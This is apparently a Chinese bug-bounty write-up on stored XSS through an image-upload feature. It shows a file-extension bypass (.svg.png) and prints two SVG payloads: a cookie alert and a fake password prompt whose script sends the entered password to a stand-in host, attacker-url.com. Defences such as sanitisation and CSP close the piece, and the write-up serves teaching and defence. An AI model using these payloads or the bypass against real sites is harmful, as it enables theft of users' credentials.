挖洞经验 | 利用图片上传功能实现存储型XSS
字数 929 2025-08-15 21:33:34
利用图片上传功能实现存储型XSS漏洞攻击教学文档
漏洞概述
本教学文档详细讲解如何通过图片上传功能实现存储型XSS(跨站脚本)攻击。攻击者通过构造恶意SVG图片文件,绕过文件上传限制,最终实现用户凭据窃取。
漏洞发现流程
1. 目标应用分析
- 登录目标WEB应用
- 手工枚举测试各种输入点
- 重点关注Logo、Background Image和Advertisement Image等图片上传功能
2. 初始测试
- 尝试直接上传SVG格式文件
- 服务端返回错误响应,显示有格式限制
3. 绕过文件类型限制
- 修改文件名:将"Fileupload.svg"改为"Fileupload.svg.png"
- 成功绕过文件类型检测机制
- 文件实际上仍保持SVG格式和内容
漏洞利用技术
1. 恶意SVG文件构造
SVG文件本质上是XML格式,可以嵌入JavaScript代码:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.cookie);
</script>
</svg>
2. 凭据窃取Payload
升级后的攻击代码,用于窃取用户密码:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script>
var passwd = prompt("Enter your password to continue");
var xhr = new XMLHttpRequest();
xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd));
xhr.send();
</script>
</svg>
攻击执行流程
- 上传恶意SVG文件(使用.png扩展名绕过检测)
- 系统将文件存储并显示为缩略图
- 用户查看图片(通过右键"View Image")
- SVG中的JavaScript代码执行
- 弹出密码输入框诱骗用户输入
- 窃取的密码通过XMLHttpRequest发送到攻击者服务器
漏洞防护措施
1. 文件上传安全策略
- 实施严格的文件内容检测,而不仅依赖扩展名
- 对SVG文件进行净化处理,移除脚本内容
- 使用专门的库解析和重新生成SVG文件
2. 内容安全策略(CSP)
- 设置适当的Content-Security-Policy头
- 限制内联脚本执行
- 限制外部资源加载
3. 其他防护措施
- 将用户上传的文件存储在独立域名下(沙盒)
- 对用户上传的文件设置适当的Content-Type
- 实施文件类型白名单机制
漏洞价值
该存储型XSS漏洞最终获得了$1000的漏洞奖励,表明其危害性较高。
总结
通过图片上传功能实现XSS攻击的关键点在于:
- 利用SVG文件可执行JavaScript的特性
- 绕过文件类型检测机制
- 构造有效的凭据窃取Payload
- 利用存储型特性实现持久化攻击
防护此类攻击需要从文件上传处理、内容解析和安全策略等多方面进行综合防御。